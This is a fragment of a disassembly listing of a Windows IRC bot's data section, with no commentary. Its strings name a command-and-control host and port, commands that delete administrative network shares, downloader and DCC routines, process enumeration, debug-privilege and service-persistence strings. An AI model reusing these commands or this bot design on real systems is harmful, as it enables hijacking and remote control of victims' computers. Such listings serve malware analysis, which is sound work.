0FFFFFFFFh, 43C8E8h, 0FFFFFFFFh, 43C8F0h, 2 dup(0) dword_442960 dd 19930520h, 15h, 442980h, 5 dup(0) dd 0FFFFFFFFh, 43C910h, 0FFFFFFFFh, 43C91Bh, 0FFFFFFFFh dd 43C923h, 0FFFFFFFFh, 43C92Bh, 0FFFFFFFFh, 43C933h, 0FFFFFFFFh dd 43C93Bh, 0FFFFFFFFh, 43C946h, 0FFFFFFFFh, 43C94Eh, 0FFFFFFFFh dd 43C956h, 0FFFFFFFFh, 43C95Eh, 0FFFFFFFFh, 43C966h, 0FFFFFFFFh dd 43C971h, 0FFFFFFFFh, 43C979h, 0FFFFFFFFh, 43C981h, 0FFFFFFFFh dd 43C989h, 0FFFFFFFFh, 43C991h, 0FFFFFFFFh, 43C99Ch, 0FFFFFFFFh dd 43C9A4h, 0FFFFFFFFh, 43C9ACh, 0FFFFFFFFh, 43C9B4h, 0FFFFFFFFh dd 43C9BCh, 6 dup(0) dword_442A40 dd 19930520h, 1, 442A60h, 5 dup(0) dd 0FFFFFFFFh, 43CA00h, 2 dup(0) dword_442A70 dd 19930520h, 5, 442A90h, 5 dup(0) dd 0FFFFFFFFh, 43CA20h, 0 dd offset loc_43CA28 dd 1, 43CA33h, 2, 43CA3Eh, 3, 43CA49h, 2 dup(0) dword_442AC0 dd 19930520h, 5, 442AE0h, 5 dup(0) dd 0FFFFFFFFh, 43CA70h, 0 dd offset loc_43CA78 dd 1, 43CA83h, 2, 43CA8Eh, 3, 43CA99h, 2 dup(0) dword_442B10 dd 19930520h, 1, 442B30h, 5 dup(0) dd 0FFFFFFFFh, 43CAC0h, 2 dup(0) dword_442B40 dd 19930520h, 1, 442B60h, 5 dup(0) dd 0FFFFFFFFh, 43CAE0h, 2 dup(0) dword_442B70 dd 19930520h, 1, 442B90h, 5 dup(0) dd 0FFFFFFFFh, 43CB00h, 2 dup(0) dword_442BA0 dd 19930520h, 1, 442BC0h, 5 dup(0) dd 0FFFFFFFFh, 43CB20h, 2 dup(0) dword_442BD0 dd 19930520h, 1, 442BF0h, 5 dup(0) dd 0FFFFFFFFh, 43CB40h, 2 dup(0) dword_442C00 dd 19930520h, 1, 442C20h, 5 dup(0) dd 0FFFFFFFFh, 43CB60h, 2 dup(0) dword_442C30 dd 19930520h, 1, 442C50h, 5 dup(0) dd 0FFFFFFFFh, 43CB80h, 2 dup(0) dword_442C60 dd 19930520h, 1, 442C80h, 5 dup(0) dd 0FFFFFFFFh, 43CBA0h, 2 dup(0) dword_442C90 dd 19930520h, 6, 442CB0h, 5 dup(0) dd 0FFFFFFFFh, 43CBC0h, 0 dd offset loc_43CBC8 dd 1, 43CBD3h, 2, 43CBDEh, 3, 43CBE9h, 4, 43CBF4h, 2 dup(0) dword_442CE8 dd 19930520h, 6, 442D08h, 5 dup(0) dd 0FFFFFFFFh, 43CC20h, 0 dd offset loc_43CC28 dd 1, 43CC33h, 2, 43CC3Eh, 3, 43CC49h, 4, 43CC54h, 2 dup(0) dword_442D40 dd 19930520h, 3, 442D60h, 5 dup(0) dd 0FFFFFFFFh, 43CC80h, 0 dd offset loc_43CC88 dd 1, 43CC96h, 2 dup(0) dword_442D80 dd 19930520h, 16h, 442DA0h, 5 dup(0) dd 0FFFFFFFFh, 43CCC0h, 0 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- align 2 dw 43h dd 1, 43CCD6h, 2, 43CCE1h, 2, 43CCECh, 2, 43CCF7h, 2, 43CD02h dd 6, 43CD0Dh, 2, 43CD18h, 8, 43CD23h, 2, 43CD2Eh, 0Ah dd 43CD39h, 2, 43CD44h, 0Ch, 43CD4Fh, 0Dh, 43CD5Ah, 0Eh dd 43CD65h, 0Fh, 43CD70h, 0Fh, 43CD7Bh, 0Fh, 43CD86h, 0Fh dd 43CD91h, 0Fh, 43CD9Ch, 0Fh, 43CDA7h, 6 dup(0) dword_442E68 dd 19930520h, 1, 442E88h, 5 dup(0) dd 0FFFFFFFFh, 43CE00h, 2 dup(0) dword_442E98 dd 19930520h, 1, 442EB8h, 5 dup(0) dd 0FFFFFFFFh, 43CE20h, 2 dup(0) dword_442EC8 dd 19930520h, 1, 442EE8h, 5 dup(0) dd 0FFFFFFFFh, 43CE40h, 2 dup(0) dword_442EF8 dd 19930520h, 1, 442F18h, 5 dup(0) dd 0FFFFFFFFh, 43CE60h, 2 dup(0) dword_442F28 dd 19930520h, 1, 442F48h, 5 dup(0) dd 0FFFFFFFFh, 43CE80h, 2 dup(0) dword_442F58 dd 19930520h, 2, 442F78h, 1, 442F88h, 3 dup(0) dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 442FA0h, 4 dup(0) dd offset loc_42C244 dd 2 dup(0) dword_442FB8 dd 19930520h, 2, 442FD8h, 1, 442FE8h, 3 dup(0) dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 443000h, 4 dup(0) dd offset loc_42C321 dd 2 dup(0) dword_443018 dd 19930520h, 3, 443038h, 5 dup(0) dd 0FFFFFFFFh, 43CEC0h, 0 dd offset loc_43CEC8 dd 1, 43CED0h, 2 dup(0) dword_443058 dd 19930520h, 1, 443078h, 5 dup(0) dd 0FFFFFFFFh, 43CF00h, 2 dup(0) dword_443088 dd 19930520h, 1, 4430A8h, 5 dup(0) dd 0FFFFFFFFh, 43CF20h, 2 dup(0) dword_4430B8 dd 19930520h, 1, 4430D8h, 5 dup(0) dd 0FFFFFFFFh, 43CF40h, 2 dup(0) dword_4430E8 dd 19930520h, 1, 443108h, 5 dup(0) dd 0FFFFFFFFh, 43CF60h, 2 dup(0) dword_443118 dd 19930520h, 1, 443138h, 5 dup(0) dd 0FFFFFFFFh, 43CF80h, 2 dup(0) dword_443148 dd 19930520h, 6, 443168h, 5 dup(0) dd 0FFFFFFFFh, 43CFA0h, 0FFFFFFFFh, 43CFA8h, 0FFFFFFFFh dd 43CFB0h, 0FFFFFFFFh, 43CFB8h, 0FFFFFFFFh, 43CFC0h, 0FFFFFFFFh dd 43CFC8h, 2 dup(0) dword_4431A0 dd 19930520h, 16h, 4431C0h, 5 dup(0) dd 0FFFFFFFFh, 43CFF0h, 0FFFFFFFFh, 43CFFBh, 0FFFFFFFFh dd 43D003h, 0FFFFFFFFh, 43D00Bh, 0FFFFFFFFh, 43D013h, 0FFFFFFFFh dd 43D01Eh, 0FFFFFFFFh, 43D026h, 0FFFFFFFFh, 43D02Eh, 0FFFFFFFFh dd 43D036h, 0FFFFFFFFh, 43D041h, 0FFFFFFFFh, 43D049h, 0FFFFFFFFh dd 43D051h, 0FFFFFFFFh, 43D05Ch, 0FFFFFFFFh, 43D064h, 0Dh dd 43D06Ch, 0Eh, 43D074h, 0Eh, 43D07Ch, 0Eh, 43D084h, 0Eh dd 43D08Ch, 12h, 43D094h, 13h, 43D09Ch, 0Eh, 43D09Ch, 6 dup(0) dword_443288 dd 19930520h, 2, 4432A8h, 5 dup(0) dd 0FFFFFFFFh, 43D0E0h, 0FFFFFFFFh, 43D0E8h, 2 dup(0) dword_4432C0 dd 19930520h, 2, 4432E0h, 5 dup(0) dd 0FFFFFFFFh, 43D100h, 0 dd offset loc_43D10B dd 2 dup(0) dword_4432F8 dd 19930520h, 1, 443318h, 5 dup(0) dd 0FFFFFFFFh, 43D130h, 2 dup(0) dword_443328 dd 19930520h, 2, 443348h, 5 dup(0) dd 0FFFFFFFFh, 43D150h, 0FFFFFFFFh, 43D158h, 2 dup(0) dword_443360 dd 19930520h, 0Ah, 443380h, 5 dup(0) dd 0FFFFFFFFh, 43D170h, 0FFFFFFFFh, 43D17Bh, 0FFFFFFFFh dd 43D186h, 0FFFFFFFFh, 43D191h, 0FFFFFFFFh, 43D19Ch, 0FFFFFFFFh dd 43D1A7h, 0FFFFFFFFh, 43D1B2h, 0FFFFFFFFh, 43D1BDh, 0FFFFFFFFh dd 43D1C8h, 0FFFFFFFFh, 43D1D3h, 34Dh dup(0) dd offset aRrrrrrrrrrrrrr+1Fh dd offset aRrrrrrrrrr+7Ah dd 105h dup(0) aABCDEFGHIJKLMN db 'a|b|c|d|e|f|g|h|i|j|k|l|m|n|o|p|q|r|s|t|u|v|w|x|y|z|A|B|C|D|E|F|G' ; DATA XREF: sub_403530+7Fo db '|H|I|J|K|L|M|N|O|P|Q|R|S|T|U|V|W|X|Y|Z|!|?|#|$|%|^|&|*|(|)|_|+|[|' db '`|]|0|1|2|3|4|5|6|7|8|9| |.|\|-|/|:|"|@',0 align 4 dd 8 dup(0) asc_4445EC: ; DATA XREF: sub_403530+66o ; sub_410030:loc_41090Eo ... unicode 0, <|>,0 aS db '%s',0 ; DATA XREF: sub_404CC0+86Fo ; sub_404CC0+AEBo ... align 4 aSS_0 db '%s %s',0Dh,0Ah,0 ; DATA XREF: sub_404CC0+82Bo ; sub_404CC0+B58o ... align 10h asc_444600: ; DATA XREF: sub_404690:loc_40476Fo ; sub_404690+1EDo ... unicode 0, < >,0 aO db ' -o',0 ; DATA XREF: sub_404690+75o ; sub_410030:loc_410A19o ... aNetShareAdminD db 'net share admin$ /delete /y',0 dd 2 dup(0) aNetShareIpcDel db 'net share ipc$ /delete /y',0 align 4 dd 0 aNetShareDDelet db 'net share d$ /delete /y',0 align 8 aNetShareCDelet db 'net share c$ /delete /y',0 dd 0 dword_444684 dd 255C7325h, 73h ; sub_40D040+DEo ... aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_404CC0+D72o align 8 aN: ; DATA XREF: sub_404CC0+D1Do unicode 0, <N>,0 aExecutedS_ db 'Executed: %s.',0 ; DATA XREF: sub_404CC0+971o align 4 aResolve_errorS db 'resolve.error %s.',0 ; DATA XREF: sub_404CC0+75Co align 10h dd 0 aSS_1 db '%s -> %s',0 ; DATA XREF: sub_404CC0+6CFo align 10h aSResolvedS db '%s resolved %s',0 ; DATA XREF: sub_404CC0+610o align 10h dd 0 aOpen db 'open',0 ; DATA XREF: sub_404CC0+444o ; sub_41C130+Eo align 4 aExec_error db 'exec.error',0 ; DATA XREF: sub_404CC0+1A3o ; sub_404CC0+9ABo ... align 4 dd 0 aUpDdDhDm db 'up: %dd %dh %dm',0 ; DATA XREF: sub_406730+C3o align 10h aCpuDmhz_Memory db 'CPU: %dMHz. Memory: %dMB/%dMB. OS: Win %s (%d.%d, Build %d). upti' ; DATA XREF: sub_4068E0+20Fo db 'me: %dd %dh %dm box: %s. user: %s.',0 dd 5 dup(0) aSS_2 db '%s [%s]',0 ; DATA XREF: sub_4068E0+125o dd 0 a??? db '???',0 ; DATA XREF: sub_4068E0:loc_4069DBo a2003 db '2003',0 ; DATA XREF: sub_4068E0+F4o align 10h aXp db 'XP',0 ; DATA XREF: sub_4068E0+EAo align 4 a2000 db '2000',0 ; DATA XREF: sub_4068E0+DEo align 4 aMe db 'ME',0 ; DATA XREF: sub_4068E0+C7o align 10h a98 db '98',0 ; DATA XREF: sub_4068E0+BBo align 4 aNt db 'NT',0 ; DATA XREF: sub_4068E0+AFo align 4 a95 db '95',0 ; DATA XREF: sub_4068E0+9Co align 4 aBai db '-bai',0 ; DATA XREF: ___:loc_406E3Do ; ___:00406E85o align 4 aNetsvcs db '-netsvcs',0 ; DATA XREF: ___:loc_406E00o ; sub_40ED00+88o align 10h aUpdate db '-update',0 ; DATA XREF: ___:00406DC3o dd 0 dword_4447EC dd 6265642Dh, 6775hdword_4447F4 dd 6425h ; ___:004087A0o ... dword_4447F8 dd 2Eh ; ___:0041B2DAo ... aMicrosoftVisua db 'MicroSoft Visual SP0',0 ; DATA XREF: sub_4077E0+403o align 8 aEvil db 'evil',0 ; DATA XREF: sub_4077E0+3F2o align 10h aFeeling_nasty db 'feeling.nasty',0 ; DATA XREF: sub_4077E0+3E1o align 10h aSet db 'set',0 ; DATA XREF: sub_4077E0+359o asc_444834 db 'X-',0 ; DATA XREF: sub_4077E0+348o align 4 aAyssds4ddklfsd db 'ayssds4ddklfsdfssas',0 ; DATA XREF: sub_4077E0+337o align 10h aIgfsfdfsd32ss_ db 'igfsfdfsd32ss.exe',0 ; DATA XREF: sub_4077E0+326o align 8 aXkey db 'Xkey',0 ; DATA XREF: sub_4077E0+318o align 10h aFor db '##for',0 ; DATA XREF: sub_4077E0+307o align 4 aFor_0 db '##for##',0 ; DATA XREF: sub_4077E0+2F6o dd 0 a3267 db '3267',0 ; DATA XREF: sub_4077E0+29Bo align 4 aIrc_alfree5_in db 'irc.alfree5.info',0 ; DATA XREF: sub_4077E0+283o align 10h off_4448A0 dd offset off_43F1D4 ; DATA XREF: ___:00440014o align 8 a_?avexception@ db '.?AVexception@@',0 align 10h off_4448C0 dd offset off_43F1D4 ; DATA XREF: ___:00440034o align 8 a_?avlogic_erro db '.?AVlogic_error@std@@',0 align 10h dd 2 dup(0) off_4448E8 dd offset off_43F1D4 ; DATA XREF: ___:00440054o align 10h a_?avout_of_ran db '.?AVout_of_range@std@@',0 align 10h aInvalidVectorT db 'invalid vector<T> subscript',0 ; DATA XREF: sub_409660+21o ; ___:0040AA51o dd 2 dup(0) aTrue db 'true',0 ; DATA XREF: sub_40B760+3Fo ; sub_40B7E0+43o ... align 4 aF db '%f',0 ; DATA XREF: ___:0040B87Fo align 10h aFalse db 'false',0 ; DATA XREF: ___:0040B924o align 4 aSSWasS db '%s = "%s" [was "%s"]',0 ; DATA XREF: ___:0040BC3Ao align 10h dd 0 aSS_5 db '%s = "%s"',0 ; DATA XREF: ___:0040BB57o align 10h aDSSS db '[%d] "%s" = "%s" ("%s")',0 ; DATA XREF: ___:0040BA91o dd 0 aCvar db '(cvar)',0 ; DATA XREF: ___:0040BA04o align 4 aDccSocketError db 'dcc: socket error',0 ; DATA XREF: sub_40C4E0+52Ao align 4 dd 0 aDccCompleteToS db 'dcc: complete to %s, file: %s, (%d bytes)',0 ; DATA XREF: sub_40C4E0+48Ao align 10h aDccUnableToOpe db 'dcc: unable to open socket',0 ; DATA XREF: sub_40C4E0+377o align 10h aDccTimeout db 'dcc: timeout',0 ; DATA XREF: sub_40C4E0+327o align 10h dword_444A10 dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h ; DATA XREF: sub_40C4E0+296o dd 169h, 0 aDccFileDoesn_0 db '[DCC]: File doesn',27h,'t exist.',0 ; DATA XREF: sub_40C4E0+230o align 4 dd 0 aDccFileDoesnTE db 'dcc: file doesn',27h,'t exist',0 ; DATA XREF: sub_40C4E0+218o align 8 aDccFailedToOpe db 'dcc: failed to open socket',0 ; DATA XREF: sub_40C4E0+1BBo align 8 aDccFailedToBin db 'dcc: failed to bind socket',0 ; DATA XREF: sub_40C4E0+110o align 8 aDccFailedToCre db '[DCC]: Failed to create socket.',0 ; DATA XREF: sub_40C4E0+B8o align 10h aFilesFoundD db 'Files Found: %d',0 ; DATA XREF: sub_40CC90+1B1o dd 0 asc_444AE4: ; DATA XREF: sub_40CC90+113o ; sub_4201F0+100o unicode 0, <\>,0 aFoundSS db 'Found: %s\%s',0 ; DATA XREF: sub_40D040+115o align 4 aS_1 db '%s\*',0 ; DATA XREF: sub_40D040+1Fo align 10h aExplorer_exe db '\explorer.exe',0 ; DATA XREF: ___:0040D559o align 10h aBai_0 db ' -bai ',0 align 4 aSCS db '%s%c%s',0 align 10h aProcess32next db 'Process32Next',0 ; DATA XREF: sub_40D660+D1o align 10h aProcess32first db 'Process32First',0 ; DATA XREF: sub_40D660+C4o align 10h dd 0 aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_40D660+B7o align 10h dd 0 aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_40D660+AFo align 10h aKernel32_dll_0 db 'kernel32.dll',0 ; DATA XREF: sub_40D660+98o align 10h aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_40DC20+4D3o align 4 dd 0 aSSSSSSSSSS db '%s',0Dh,0Ah ; DATA XREF: sub_40DC20+37Co db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,'%s',0Dh,0Ah db '%s',0Dh,'%s',0Dh,0Ah,0 align 4 dd 2 dup(0) aSS_4 db '"%s" %s',0 ; DATA XREF: sub_40EE40+6Ao align 8 aServicesactive db 'ServicesActive',0 ; DATA XREF: sub_40EE40+21o ; sub_40F060+Ao ... align 4 dd 0 aServDelS_ db 'serv(del) "%s".',0 ; DATA XREF: ___:0040F511o align 10h aServAddSAsSS_ db 'serv(add) "%s" as ""%s" %s".',0 ; DATA XREF: ___:0040F454o align 10h dd 0 aRegDelS_ db 'reg(del) "%s".',0 ; DATA XREF: ___:0040F359o align 8 aRegAddSAsS_ db 'reg(add) "%s" as "%s".',0 ; DATA XREF: ___:0040F2ADo align 10h dd 0 asc_444C64 db ' :',0 ; DATA XREF: sub_410030+E2Bo ; sub_410030+1118o ... align 4 asc_444C68: ; DATA XREF: sub_410030+CACo ; sub_410030+D15o ... unicode 0, <!>,0 aN_0 db ' -n',0 ; DATA XREF: sub_410030:loc_4109F8o ; sub_410030:loc_410C87o aS_2 db ' -s',0 ; DATA XREF: sub_410030:loc_4109CFo ; sub_410030:loc_410C66o asc_444C74: ; DATA XREF: sub_410030+871o ; sub_410030:loc_410CA8o ... unicode 0, <:>,0 a@: ; DATA XREF: sub_410030+7CCo ; sub_410030+D2Do ... unicode 0, <@>,0 aSSS_0 db '%s %s %s',0Dh,0Ah,0 ; DATA XREF: sub_410030+65Do ; sub_410030+732o ... align 4 dd 0 aSSSS00S db '%s %s',0Dh,0Ah ; DATA XREF: sub_410030+355o db '%s %s 0 0 :%s',0Dh,0Ah,0 align 8 aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_410030+2C4o ; sub_412780+91o ... align 8 aSSSS db '%s %s %s %s',0Dh,0Ah,0 ; DATA XREF: sub_4120B0+4E3o align 4 aS_3 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_4120B0+386o ; sub_426070+12Do ... align 10h aSSS_1 db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_4120B0+CBo ; sub_412A40+8Fo align 10h aPublic db '[PUBLIC]',0 ; DATA XREF: sub_412780:loc_41288Bo align 4 aPrivate db '[PRIVATE]',0 ; DATA XREF: sub_412780+104o align 4 a_ db '. ',0 ; DATA XREF: sub_412780+CAo ; sub_412780+E5o align 4 aLan db 'lan: ',0 ; DATA XREF: sub_412780+AEo align 4 aUptime db 'uptime',0 ; DATA XREF: ___:loc_412FF7o align 4 aHost db 'host',0 ; DATA XREF: ___:loc_412FA4o align 4 aId db 'id',0 ; DATA XREF: ___:loc_412F4Ao align 4 asc_444D18: ; DATA XREF: ___:loc_412F33o dw 3Ch unicode 0, <>,0 asc_444D1C: ; DATA XREF: ___:loc_412F1Co dw 3Eh unicode 0, <>,0 asc_444D20 db '==',0 ; DATA XREF: ___:loc_412F05o align 4 asc_444D24 db '!=',0 ; DATA XREF: ___:00412EF1o align 4 a2_2x db '%2.2X',0 ; DATA XREF: sub_4138B0+B7o align 10h aSS_6 db '%s: %s',0 ; DATA XREF: sub_4193C0+30Fo align 4 aSD_0 db '%s: %d',0 ; DATA XREF: sub_4193C0+2E7o align 10h aSD_1 db '%s:%d',0 ; DATA XREF: sub_4193C0+272o ; sub_4193C0+29Bo align 4 aListening db 'listening',0 ; DATA XREF: sub_4193C0+210o align 4 aEstablished db 'established',0 ; DATA XREF: sub_4193C0+205o dd 0 off_444D64 dd offset dword_504354 ; DATA XREF: sub_4193C0+140o ; ___:0042C5F2o ... dword_444D68 dd 2D464544h, 504354h, 0 ; sub_4193C0+12Eo dword_444D74 dd 652Dh dword_444D78 dd 6C2Dh a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_419BE0+82o align 10h dd 0 aSS_3 db '%s%s',0 ; DATA XREF: ___:00419DF1o align 4 aSSS db '%s%s%s',0 ; DATA XREF: ___:00419DCCo align 4 byte_444DB4 db 1 ; DATA XREF: sub_41A390r align 4 dword_444DB8 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 ; --------------------------------------------------------------------------- loc_444E04: ; DATA XREF: ___:00421859o mov al, 1 push edx xchg eax, edi retf 0D059h ; --------------------------------------------------------------------------- db 11h dd 0A000D5A8h, 51800DC9h, 0 dword_444E18 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0dword_444E2C dd 3000005h, 10h, 18h, 1, 0Ah dup(0)dword_444E64 dd 63257325h, 0 ; sub_41F960+E5o dword_444E6C dd 72h dword_444E70 dd 30h ; sub_424920+327o dword_444E74 dd 3039h dword_444E78 dd 383631h dword_444E7C dd 323931h dword_444E80 dd 3631h dword_444E84 dd 323731h dword_444E88 dd 3031h off_444E8C dd offset dword_5C005C ; DATA XREF: ___:0041C217r ; ___:0041C387r word_444E90 dw 0 ; DATA XREF: ___:0041C221r ; ___:0041C391r align 4 off_444E94 dd offset dword_49005C ; DATA XREF: ___:0041C1E6r ; ___:0041C356r off_444E98 dd offset loc_43004E+2 ; DATA XREF: ___:0041C1EBr ; ___:0041C35Br dword_444E9C dd 24h ; ___:0041C37Fr dd 0 aDlEdUpdateS db 'dl',27h,'ed-update: %s',0 ; DATA XREF: sub_41D930+5F5o align 4 aOpenS_ db 'open %s.',0 ; DATA XREF: sub_41D930+5BAo align 4 aDlDone_S_ db 'dl, done. %s .',0 ; DATA XREF: sub_41D930+567o align 8 asc_444ED8 db 0Dh,0Ah ; DATA XREF: sub_41D930+48Fo db 0Dh,0Ah,0 align 10h aHttpBadopen db 'http(badopen)',0 ; DATA XREF: sub_41D930+3F1o align 10h aWb db 'wb',0 ; DATA XREF: sub_41D930+3C0o ; ___:0041FD87o align 4 aHttpGetting db 'http(getting)',0 ; DATA XREF: sub_41D930+3AFo align 4 aGetSHttp1_0Con db 'GET %s HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41D930+36Do db 'Connection: Keep-Alive',0Dh,0Ah db 'User-Agent: Mozilla/4.5',0Dh,0Ah db 'Host: %s:%d',0Dh,0Ah db 0Dh,0Ah,0 align 4 dd 4 dup(0) aHttpBadconnect db 'http(badconnect)',0 ; DATA XREF: sub_41D930+327o align 4 aFtpBaddl db 'ftp(baddl)',0 ; DATA XREF: sub_41D930+2A3o align 4 dd 0 aFtpGetting db 'ftp(getting)',0 ; DATA XREF: sub_41D930+25Ao align 4 aFtpBadlogin db 'ftp(badlogin)',0 ; DATA XREF: sub_41D930+224o align 4 aFtpBadconnect db 'ftp(badconnect)',0 ; DATA XREF: sub_41D930+1CEo align 10h aSysLogoff db 'sys(logoff)',0 ; DATA XREF: ___:0041E47Eo align 10h aSysSd db 'sys(sd)',0 ; DATA XREF: ___:0041E42Fo dd 0 dword_444FDC dd 28737973h, 6F626572h, 29746Fh, 0dword_444FEC dd 6469706Bh, 7325203Ah, 0dword_444FF8 dd 203A736Bh, 7325hdword_445000 dd 202E6425h, 7325202Fh, 0dword_44500C dd 203A706Bh, 7325haD_PidDS db '%d. - Pid: %d - "%s"',0 ; DATA XREF: sub_41E760+130o align 10h a221 db '221 ',0Dh,0Ah,0 ; DATA XREF: sub_41F030+694o ; sub_41F030+6A9o align 4 a226 db '226 ',0Dh,0Ah,0 ; DATA XREF: sub_41F030:loc_41F695o ; sub_41F030+677o align 10h aFtpD_D_D_DDByt db 'ftp: %d.%d.%d.%d -> (%d bytes) (total sends: %d)',0 ; DATA XREF: sub_41F030+62Bo align 4 dd 2 dup(0) aRb db 'rb',0 ; DATA XREF: sub_41F030+53Fo align 10h a150 db '150 ',0Dh,0Ah,0 ; DATA XREF: sub_41F030+505o ; sub_41F030+51Ao align 4 asc_445088: ; DATA XREF: sub_41F030+2EFo ; sub_41F030+33Ao ... unicode 0, <,>,0 a200 db '200 ',0Dh,0Ah,0 ; DATA XREF: sub_41F030+286o ; sub_41F030+29Bo ... align 4 a230 db '230 ',0Dh,0Ah,0 ; DATA XREF: sub_41F030+254o ; sub_41F030+269o align 4 a331 db '331 ',0Dh,0Ah,0 ; DATA XREF: sub_41F030+222o ; sub_41F030+237o align 4 a220 db '220 ',0Dh,0Ah,0 ; DATA XREF: sub_41F030+1F3o ; sub_41F030+205o align 4 aFtpD_D_D_DOnD db 'ftp: %d.%d.%d.%d on %d',0 ; DATA XREF: sub_41F030+17Eo align 8 aDDUseridUnixS db '%d, %d : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: sub_41F960+13Co align 4 dd 0 aBinres db 'BINRES',0 ; DATA XREF: ___:0041FDBDo align 4 aUnknown db 'unknown',0 ; DATA XREF: sub_420090:loc_4200E5o ; sub_420630+C4r ... align 10h aImagepath db 'ImagePath',0 ; DATA XREF: sub_4201F0+CBo ; sub_4208E0+316o align 4 aSystemCurrentc db 'SYSTEM\CurrentControlSet\Services\%s',0 ; DATA XREF: sub_4201F0+73o ; sub_4208E0+2BEo align 8 aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_4204D0+63o align 4 aGetmodulefilen db 'GetModuleFileNameExA',0 ; DATA XREF: sub_420630+72o align 8 aEnumprocessmod db 'EnumProcessModules',0 ; DATA XREF: sub_420630+64o align 10h aEnumprocesses db 'EnumProcesses',0 ; DATA XREF: sub_420630+52o align 10h aPsapi_dll db 'PSAPI.DLL',0 ; DATA XREF: sub_420630+20o ; sub_420630+34o align 4 aSS db '[%s] [%s]',0 ; DATA XREF: sub_4208E0+34Co align 4 aS????_exe db '[%s] [????.exe]',0 ; DATA XREF: sub_4208E0+32Do dd 0 aS????_exeUnkno db '[%s] [????.exe] (Unknown key)',0 ; DATA XREF: sub_4208E0+2F3o align 10h aThemes db 'Themes',0 ; DATA XREF: sub_4208E0+1F6o align 4 aSrservice db 'srservice',0 ; DATA XREF: sub_4208E0+1EBo align 4 aWuauserv db 'wuauserv',0 ; DATA XREF: sub_4208E0+1E0o align 10h aWzcsvc db 'WZCSVC',0 ; DATA XREF: sub_4208E0+1D5o align 4 aWinmgmt db 'winmgmt',0 ; DATA XREF: sub_4208E0+1CAo dd 0 aWebclient db 'WebClient',0 ; DATA XREF: sub_4208E0+1BFo align 10h aW32time db 'W32Time',0 ; DATA XREF: sub_4208E0+1B4o dd 0 aUpnphost db 'upnphost',0 ; DATA XREF: sub_4208E0+1A9o align 4 aUploadmgr db 'uploadmgr',0 ; DATA XREF: sub_4208E0+19Eo align 4 aTrkwks db 'TrkWks',0 ; DATA XREF: sub_4208E0+193o align 4 aTermservice db 'TermService',0 ; DATA XREF: sub_4208E0+188o dd 0 aTapisrv db 'TapiSrv',0 ; DATA XREF: sub_4208E0+17Do align 8 aStisvc db 'stisvc',0 ; DATA XREF: sub_4208E0+172o align 10h aSsdpsrv db 'SSDPSRV',0 ; DATA XREF: sub_4208E0+167o dd 0 aSpooler db 'Spooler',0 ; DATA XREF: sub_4208E0+15Co align 8 aShellhwdetecti db 'ShellHWDetection',0 ; DATA XREF: sub_4208E0+151o align 4 aSens db 'SENS',0 ; DATA XREF: sub_4208E0+146o align 4 aSeclogon db 'seclogon',0 ; DATA XREF: sub_4208E0+13Bo align 10h aSchedule db 'Schedule',0 ; DATA XREF: sub_4208E0+130o align 4 aSamss db 'SamSs',0 ; DATA XREF: sub_4208E0+125o align 4 aRpcss db 'RpcSs',0 ; DATA XREF: sub_4208E0+11Ao align 4 aRasman db 'RasMan',0 ; DATA XREF: sub_4208E0+10Fo align 4 aProtectedstora db 'ProtectedStorage',0 ; DATA XREF: sub_4208E0+104o align 4 aPolicyagent db 'PolicyAgent',0 ; DATA XREF: sub_4208E0+F9o align 8 aPlugplay db 'PlugPlay',0 ; DATA XREF: sub_4208E0+EEo align 4 off_445304 dd offset asc_616C4E ; DATA XREF: sub_4208E0+E3o ; "ллллллллллллллллллллллллллллллллллллллл"... aNetman db 'Netman',0 ; DATA XREF: sub_4208E0+D8o align 10h aMessenger db 'Messenger',0 ; DATA XREF: sub_4208E0+CDo align 4 off_44531C dd offset byte_4D444D ; DATA XREF: sub_4208E0+C5o aLmhosts db 'LmHosts',0 ; DATA XREF: sub_4208E0+BDo dd 0 aLanmanworkstat db 'lanmanworkstation',0 ; DATA XREF: sub_4208E0+B5o align 10h dd 0 aLanmanserver db 'lanmanserver',0 ; DATA XREF: sub_4208E0+ADo align 4 aHelpsvc db 'helpsvc',0 ; DATA XREF: sub_4208E0+A5o align 10h aFastuserswitch db 'FastUserSwitchingCompatibility',0 ; DATA XREF: sub_4208E0+9Do align 10h dd 2 dup(0) aEventsystem db 'EventSystem',0 ; DATA XREF: sub_4208E0+95o align 8 aEventlog db 'Eventlog',0 ; DATA XREF: sub_4208E0+8Do align 4 aErsvc db 'ERSvc',0 ; DATA XREF: sub_4208E0+85o align 4 aDnscache db 'Dnscache',0 ; DATA XREF: sub_4208E0+7Do align 4 aDmserver db 'dmserver',0 ; DATA XREF: sub_4208E0+75o align 4 aDhcp db 'Dhcp',0 ; DATA XREF: sub_4208E0+6Do align 4 aCryptsvc db 'CryptSvc',0 ; DATA XREF: sub_4208E0+65o align 4 aBrowser db 'Browser',0 ; DATA XREF: sub_4208E0+5Do dd 0 aAudiosrv db 'AudioSrv',0 ; DATA XREF: sub_4208E0+55o ; sub_4208E0:loc_420B6Bo align 10h asc_4453F0: ; DATA XREF: sub_420F10:loc_420FCFo ; sub_420F10+F9o ... unicode 0, </>,0 aFtp db 'ftp',0 ; DATA XREF: sub_420F10+94o ; 